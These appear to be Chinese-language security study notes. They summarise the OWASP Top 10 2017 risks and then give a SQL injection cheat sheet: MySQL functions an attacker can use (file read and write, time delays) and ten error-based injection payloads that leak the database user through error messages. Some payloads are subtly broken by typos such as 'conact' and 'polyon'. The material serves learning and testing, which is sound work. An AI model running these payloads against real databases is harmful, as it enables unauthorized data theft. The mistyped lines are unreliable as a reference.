OWASP Top 10 2017
-
网址
http://www.owasp.org.cn/owasp-project/OWASPTop102017v1.3.pdf
-
概述
- 10项最严重的 Web 应用程序安全风险
- 注入
- 失效的身份认证
- 敏感信息泄露
- XML外部实体(XXE)
- 失效的访问控制
- 安全配置错误
- 跨站脚本(XSS)
- 不安全的反序列化
- 使用含有已知漏洞的组件
- 不足的日志记录和监控
应用安全风险–2017
-
A1:2017-注入
- 将不受信任的数据作为命令或查询的一部分发送到解析器时
- 会产生诸如SQL注入、NoSQL注入、OS 注入和LDAP注入的注入缺陷
- 攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据
-
A2:2017-失效的身份认证
- 通常,通过错误使用应用程序的身份认证和会话管理功能
- 攻击者能够破译密码、密钥或会话令牌
- 或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份
-
A3:2017-敏感数据泄露
- 许多Web应用程序和API都无法正确保护敏感数据
- 例如:财务数据、医疗数据和PII数据
- 攻击者可以通过窃取或修改未加密的数据来实施信用卡诈骗、身份盗窃或其他犯罪行为
- 未加密的敏感数据容易受到破坏,因此,我们需要对敏感数据加密
- 这些数据包括:传输过程中的数据、存储的数据以及浏览器的交互数据
-
A4:2017-XML 外部实体(XXE)
- 许多较早的或配置错误的XML处理器评估了XML文件中的外部实体引用
- 攻击者可以利用外部实体窃 取使用URI文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施拒绝服务攻击
-
A5:2017-失效的访问控制
- 未对通过身份验证的用户实施恰当的访问控制
- 攻击者可以利用这些缺陷访问未经授权的功能或数据
- 例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。
-
A6:2017-安全配置错误
- 安全配置错误是最常见的安全问题
- 这通常是由于不安全的默认配置、不完整的临时配置、开源云 存储、错误的 HTTP 标头配置以及包含敏感信息的详细错误信息所造成的
- 因此,我们不仅需要对所 有的操作系统、框架、库和应用程序进行安全配置,而且必须及时修补和升级它们
-
A7:2017跨站脚本(XSS)
- 当应用程序的新网页中包含不受信任的、未经恰当验证或转义的数据时,或者使用可以创建 HTML或 JavaScript 的浏览器 API 更新现有的网页时,就会出现 XSS 缺陷
- XSS 让攻击者能够在受害者的浏览器中执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点
-
A8:2017-不安全的反序列化
- 不安全的反序列化会导致远程代码执行
- 即使反序列化缺陷不会导致远程代码执行,攻击者也可以利用它们来执行攻击
- 包括:重播攻击、注入攻击和特权升级攻击
-
A9:2017-使用含有已知漏洞的组件
- 组件(例如:库、框架和其他软件模块)拥有和应用程序相同的权限
- 如果应用程序中含有已知漏洞的组件被攻击者利用,可能会造成严重的数据丢失或服务器接管
- 同时,使用含有已知漏洞的组件的应用程序和API可能会破坏应用程序防御、造成各种攻击并产生严重影响
-
A10:2017-不足的日志记录和监控
- 不足的日志记录和监控,以及事件响应缺失或无效的集成
- 使攻击者能够进一步攻击系统、保持持续性或转向更多系统
- 以及篡改、提取或销毁数据
- 大多数缺陷研究显示,缺陷被检测出的时间超过200天,且通常通过外部检测方检测,而不是通过内部流程或监控检测
SQL注入
SQL常用函数
- SQL常用函数
MID(要截取的字符串,起始位置,结束位置)
截取字符串CHAR(ASCII)
返回ASCII码对应的字符ASCII(字符)
返回字符对应的ASCII码IF(逻辑表达式,返回值1,返回值2)
用于判断SUBSTR(要截取的字符串,起始位置,结束位置)
截取字符串LENGTH(字符串)
返回字符串长度COUT(列名)
返回当前列名下有效记录数SLEEP(s)
静止s秒,数字类型,可自定义# /**/ --
注释符CONCAT(字符串1,字符串2...)
拼接字符串LOAD_FILE(文件名称)
加载文件INTO OUTFILE '文件名称'
输出
常用十大报错函数
-
floor()
select * from test where id=1 and (select 1 from (select count(*), concat(user(), floor(rand(0)*2)) x from information_schema.tables group by x) a);
-
extractvalue()
select * from test where id=1 and (extractvalue(1, conact(0x7e, (select user()),0x7e)));
-
updatexml()
select * from test where id=1 and (updatexml(1, conact(0x7e, (select user()), 0x7e), 1));
-
geometrycollection()
select * from test where id=1 and geometrycollection((select * from (select * from (select user()) a) b));
-
multipoint()
select * from test where id=1 and multipoint((select * from (select * from (select user()) a) b));
-
polygon()
select * from test where id=1 and polyon((select * from (select * from (select user()) a) b));
-
multipolygon()
select * from test where id=1 and multipolygon((select * from (select * from (select user()) a) b));
-
linestring()
select * from test where id=1 and linestring((select * from (select * from (select user()) a) b));
-
multilinestring()
select * from test where id=1 and multilinestring((select * from (select * from (select user()) a) b));
-
exp()
select * from test where id=1 and exp(~(select * from (select user()) a));